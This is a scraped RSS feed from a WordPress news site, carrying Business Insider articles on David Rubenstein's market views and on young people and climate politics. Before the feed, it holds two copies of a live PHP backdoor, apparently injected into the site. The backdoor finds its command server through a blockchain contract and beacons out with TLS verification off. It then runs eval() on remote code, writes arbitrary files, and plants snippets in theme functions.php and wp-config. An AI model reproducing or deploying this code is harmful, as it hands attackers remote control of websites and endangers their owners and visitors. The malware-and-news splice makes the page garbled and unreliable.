// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); They – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 22 Sep 2022 14:18:03 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png They – Brief News https://briefnews.eu 32 32 The best returns come when markets are depressed as they are now, but there will be more pain for 6-12 months, billionaire David Rubenstein says https://briefnews.eu/the-best-returns-come-when-markets-are-depressed-as-they-are-now-but-there-will-be-more-pain-for-6-12-months-billionaire-david-rubenstein-says/ https://briefnews.eu/the-best-returns-come-when-markets-are-depressed-as-they-are-now-but-there-will-be-more-pain-for-6-12-months-billionaire-david-rubenstein-says/#respond Thu, 22 Sep 2022 14:18:03 +0000 https://briefnews.eu/the-best-returns-come-when-markets-are-depressed-as-they-are-now-but-there-will-be-more-pain-for-6-12-months-billionaire-david-rubenstein-says/ Carlyle Group co-founder and co-founder David Rubenstein.

Getty Images

  • Billionaire David Rubenstein thinks the market downswing is a buying opportunity. 
  • Still, he said he expects more turmoil in the next six to 12 months. 
  • The Carlyle co-founder told CNBC that investors shouldn't exit markets too soon. 

Now isn't the time for investors to run for the door despite worrying signs of an prolonged downturn in the market, according to David Rubenstein. 

The Carlyle Group co-founder told CNBC on Thursday that when markets show signs of depression like today, there's an opportunity to step in and yield a strong return over the long term. 

In other words, buy the dip and hold on. 

"What Warren Buffet and others have done historically is buy when the markets are cheap or when there's blood in the streets," he said. "Right now is not a time to panic and rush out of the markets, in my view."

He added that while some traders are growing anxious, "the best returns probably come from times when markets are depressed like this." 

Rubenstein cautioned that market volatility will most likely continue into the next six to 12 months, and said "if you go in and stay in now, you're probably going to do pretty well."

On Wednesday, the US Federal Reserve hiked benchmark interest rates by an additional 75 basis points, a move that Wall Street had largely priced in. Central bank chair Jerome Powell reiterated that the Fed's main goal is taming inflation, and that more steep rate hikes were likely on the horizon. 

Read the original article on Business Insider

https://i.insider.com/632c5cb5f576c60018fc3295?format=jpeg

]]> https://briefnews.eu/the-best-returns-come-when-markets-are-depressed-as-they-are-now-but-there-will-be-more-pain-for-6-12-months-billionaire-david-rubenstein-says/feed/ 0 Millennials and Gen Z want to stop a climate catastrophe. But first they have to get elected. https://briefnews.eu/millennials-and-gen-z-want-to-stop-a-climate-catastrophe-but-first-they-have-to-get-elected/ https://briefnews.eu/millennials-and-gen-z-want-to-stop-a-climate-catastrophe-but-first-they-have-to-get-elected/#respond Thu, 22 Sep 2022 09:31:53 +0000 https://briefnews.eu/millennials-and-gen-z-want-to-stop-a-climate-catastrophe-but-first-they-have-to-get-elected/ Congress building in front of burning forest

mack2happy/Christian Offenberg/Getty Images; Jenny Chang-Rodriguez/Insider

  • The climate crisis affects young people most, but older generations are deciding the planet's future.
  • Not all see the generational divide on climate as an impediment to progress.
  • "I'm not young. I'm not old. I worked my fucking butt off," said Rep. Debbie Dingell, 68.

When a group of young climate activists confronted Dianne Feinstein at her San Francisco office in 2019, the six-term Democratic senator cited her deep experience in Washington in refusing their demand that she endorse the Green New Deal.

"I've been doing this for 30 years. I know what I'm doing," Feinstein, then 85, told the students. "You come in here and you say, 'It has to be my way or the highway.' I don't respond to that. I've gotten elected, I just ran, I was elected by almost a million-vote plurality, and I know what I'm doing. So, you know, maybe people should listen a little bit." 

Feinstein added that the Green New Deal, a package of aggressive environmental reforms championed by Rep. Alexandria Ocasio-Cortez of New York and Sen. Ed Markey of Massachusetts, would die at the hands of Senate Republicans. 

"You can take that back to whoever sent you here," the senator told Isha Clarke, a 16-year-old student from Oakland. 

One student protested that Feinstein should instead listen to her constituents. 

"You didn't vote for me," Feinstein chided. 

"It doesn't matter," a 10-year-old named Magdalena shot back. "We're the ones who are going to be impacted."

A video of the exchange — recorded the same year Time magazine named the teenage climate activist Greta Thunberg its "person of the year" — went viral. 

Clarke, now a sophomore at Howard University and cofounder of Youth vs. Apocalypse, told Insider the protest got a "huge reaction" from the public.  

"We are literally facing the end of humanity and politicians are like, 'Sorry, no can do' in the face of people who it's going to impact," Clarke said. 

The nonbinding Green New Deal resolution, meanwhile, went nowhere — just as Feinstein predicted. 

The episode illustrates the tension between the nation's youngest Americans, who are demanding political action on a huge scale to fight the planet's climate crisis, and aging government leaders who don't share their sense of urgency. 

Sen. Dianne Feinstein (D-CA) questions U.S. Supreme Court nominee Judge Ketanji Brown Jackson as she testifies during her Senate Judiciary Committee confirmation hearing in the Hart Senate Office Building on Capitol Hill March 22, 2022 in Washington, DC.
Sen. Dianne Feinstein, a California Democrat, told young climate activists in 2019, "You didn't vote for me."

Anna Moneymaker/Getty Images

After decades of failure, Democrats finally managed to do something to address the biggest challenge facing the planet. In August, President Joe Biden signed into law a bill that contained significant environmental provisions, including incentivizing clean energy and reducing carbon emissions with more than $ 300 billion in direct investments and tax credits.

But the bill — dubbed the Inflation Reduction Act — proved to be a compromise package that failed to even acknowledge the climate crisis in its name. Some environmentalists derided it as a half measure at best, counterproductive at worst. And the law is insufficient to reach the Biden administration's goal of net-zero carbon emissions by the middle of this century in order to curb the worst effects of climate change, including rising temperatures, warming oceans, rising sea levels, and more intense storms and droughts. 

With Democrats bracing to lose their razor-thin majority in the House and a challenging 2024 election-season looming, the party will need to energize younger voters and empower a new generation of leaders to build on its partial climate wins — all while many aged leaders simply refuse to yield. 

'An unforgiving generation of voters'

Climate change is a uniquely generational issue. 

There's a clear age divide — particularly among Republicans — when it comes to addressing it. Millennials and Gen Zers across the political spectrum are more likely than their parents and grandparents to support climate action. They're better educated on the issues, and they're more open to structural change. They also have much more at stake — older people will likely be dead before planet Earth experiences the most severe impacts.

Lawmakers are increasingly aware that younger constituents will hold them accountable on climate. 

"I hear Republican senators say, 'If we don't clean up our act on climate, we are going to lose the next generation of voters for our party,'" Sen. Sheldon Whitehouse, a Rhode Island Democrat and champion of climate policy, said. "Anybody who has political sense understands that there is an unforgiving generation of voters coming along that is gonna be very pissed that we allowed this to drift for 20 years when we knew better."

But today's American political leadership is old and only getting older. 

About one in four members of Congress are in their 70s or 80s, including octogenarian leaders such as House Speaker Nancy Pelosi, House Majority Leader Steny Hoyer, and Senate Minority Leader Mitch McConnell. The average member of Congress is more than two decades older than the average American. Biden and his leading 2024 adversary — Donald Trump — are both nearing 80. Young people vote far less frequently than older folks and are often shut out of elected office by a slew of incumbency advantages and veteran lawmakers who refuse to step down.

Four months in the making, Insider's "Red, White, and Gray" series explores the costs, benefits, and dangers of life in a democracy helmed by those of advanced age, where issues of profound importance to the nation's youth and future — technology, civil rights, and, yes, energy and the environment — are largely in the hands of those whose primes have passed.

Rep. Alexandria Ocasio-Cortez (D-NY) rallies hundreds of young climate activists in Lafayette Square on the north side of the White House to demand that U.S. President Joe Biden work to make the Green New Deal into law on June 28, 2021.
Rep. Alexandria Ocasio-Cortez (D-NY) rallies hundreds of young climate activists in Lafayette Square to demand that President Joe Biden work to make the Green New Deal into law on June 28, 2021.

Chip Somodevilla/Getty Images

Historically, environmental action takes place when young people overwhelmingly demand it and leaders listen.The US passed its bedrock pieces of major environmental legislation back in the early 1970s, under President Richard Nixon, a conservative who privately derided the environmental movement but respected the power of grassroots activism in changing public opinion.

Nixon created the Environmental Protection Agency, signed the Clean Air Act and the Endangered Species Act, and established the National Oceanic and Atmospheric Administration, among other major environmental achievements. 

"It's not that Nixon was an environmental guy, it's just the public demanded it and the energy came from younger people," said Douglas Brinkley, a presidential historian at Rice University whose forthcoming book digs into the environmental movement of the 1960s. "The climate revolution that's needed — it's there, they're organizing online, but it has to become a tidal wave where it dominates."

The generational divide on climate  

Age — particularly among conservatives — is a key divider in Americans' views on climate policy.

Almost half – 47% – of Republicans and Republican-leaning people between the ages of 18 and 29 think the federal government is doing too little to reduce the effects of climate change, but fewer than one in five Americans aged 65 and older said the same, according to a Pew Research Center poll from May. There's a similarly wide gap on many climate-related issues, from whether energy companies should transition to more renewables to whether stricter environmental laws are worth the cost. 

Younger Democrats were also more likely to be frustrated by the Biden administration's action on climate than their older counterparts, Pew's polling found before the IRA was passed. 

 

 

 

 

 

But US political leadership doesn't look like America, and older people tend to vote much more frequently than younger people, thus skewing national priorities away from climate. And the electorate is only getting older.

Generational gaps on key public-policy issues aren't specific to climate change. Older voters are generally less likely than younger people to support dramatic policy shifts and structural change. They're more rigid and concerned with preserving their economic stability, while millennials and Gen Zers have fewer expectations of stability, Jennie Stephens, a professor of sustainability science and policy at Northeastern University, said. 

"Younger people see kind of an inevitability about change," Stephens said. "They know the world isn't gonna just stay the same, and we can either respond to these changes in crisis mode, in reaction to once things start happening, or we can also advocate for being more proactive and preparing for the changes." 

Activists display placards during a rally to mark Earth Day at Lafayette Square, Washington, Saturday, April 23, 2022.
Activists display placards during a rally to mark Earth Day at Lafayette Square, Washington, Saturday, April 23, 2022.

AP Photo/Gemunu Amarasinghe

